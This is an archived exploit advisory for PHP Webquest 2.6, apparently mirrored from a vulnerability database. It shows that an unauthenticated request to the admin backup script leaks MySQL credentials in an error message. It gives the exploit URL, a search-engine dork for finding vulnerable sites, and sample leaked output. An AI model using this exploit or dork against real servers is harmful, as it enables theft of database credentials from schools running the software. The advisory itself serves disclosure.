PHP Webquest 2.6 Get Database Credentials Vulnerability

🗓️ 10 Jan 2008 00:00:00Reported by RootType

PHP Webquest 2.6 Get Database Credentials Vulnerability. Exploit allows retrieving database credentials via backup_phpwebquest.php file


                                                --==+================================================================================+==--
--==+		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PHP&nbsp;Webquest&nbsp;2.6&nbsp;Get&nbsp;Database's&nbsp;Credential	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+==--
--==+================================================================================+==--

&nbsp;Author:&nbsp;MhZ91
&nbsp;Title:&nbsp;PHP&nbsp;Webquest&nbsp;2.6&nbsp;Get&nbsp;Database's&nbsp;Credential
&nbsp;Download:&nbsp;http://phpwebquest.org/descargas/phpwebquest-2.6-international.zip
&nbsp;Bug:&nbsp;Get&nbsp;Database's&nbsp;Credential&nbsp;
&nbsp;Info:&nbsp;PHP&nbsp;Webquest&nbsp;is&nbsp;a&nbsp;free&nbsp;educational&nbsp;software&nbsp;developed&nbsp;in&nbsp;order&nbsp;to&nbsp;help&nbsp;those&nbsp;teachers&nbsp;who&nbsp;want&nbsp;to&nbsp;create&nbsp;their&nbsp;own&nbsp;activities&nbsp;without&nbsp;the&nbsp;need&nbsp;of&nbsp;wrtitng&nbsp;any&nbsp;HTML&nbsp;code&nbsp;or&nbsp;uploading&nbsp;files&nbsp;to&nbsp;a&nbsp;web&nbsp;server.&nbsp;If&nbsp;you&nbsp;want&nbsp;to&nbsp;install&nbsp;it&nbsp;at&nbsp;your&nbsp;school’s&nbsp;server,&nbsp;please&nbsp;click&nbsp;on&nbsp;the&nbsp;image&nbsp;of&nbsp;the&nbsp;International&nbsp;Version.
&nbsp;Dork:&nbsp;&quot;PHP&nbsp;WEBQUEST&nbsp;VERSION&nbsp;&quot;&nbsp;or&nbsp;inurl:&quot;/phpwebquest/&quot;&nbsp;
&nbsp;Visit:&nbsp;http://www.inj3ct-it.org


[*]----------------------------------------------------------

Poc:&nbsp;

The&nbsp;exploit&nbsp;work&nbsp;only&nbsp;if&nbsp;the&nbsp;function&nbsp;system();&nbsp;is&nbsp;enabled&nbsp;on&nbsp;the&nbsp;server..&nbsp;because&nbsp;it&nbsp;return&nbsp;a&nbsp;message&nbsp;whit&nbsp;the&nbsp;db&nbsp;credentials..
We&nbsp;can&nbsp;get&nbsp;the&nbsp;file&nbsp;of&nbsp;the&nbsp;backup,&nbsp;and&nbsp;it&nbsp;return&nbsp;this:

&lt;H1&gt;Error&nbsp;ejecutando&nbsp;comando:&nbsp;/usr/bin/mysqldump&nbsp;-u&nbsp;xxx&nbsp;--password=xxx1&nbsp;--opt&nbsp;xx2&lt;/H1&gt;

Where&nbsp;xxx&nbsp;is&nbsp;the&nbsp;mysql&nbsp;login,&nbsp;xxx1&nbsp;the&nbsp;password&nbsp;and&nbsp;xx2&nbsp;the&nbsp;name&nbsp;of&nbsp;database.

[*]----------------------------------------------------------

Exploit:

http://[www.example.com]/admin/backup_phpwebquest.php

[*]----------------------------------------------------------

10 Jan 2008 00:00Current

7.1High risk

Vulners AI Score7.1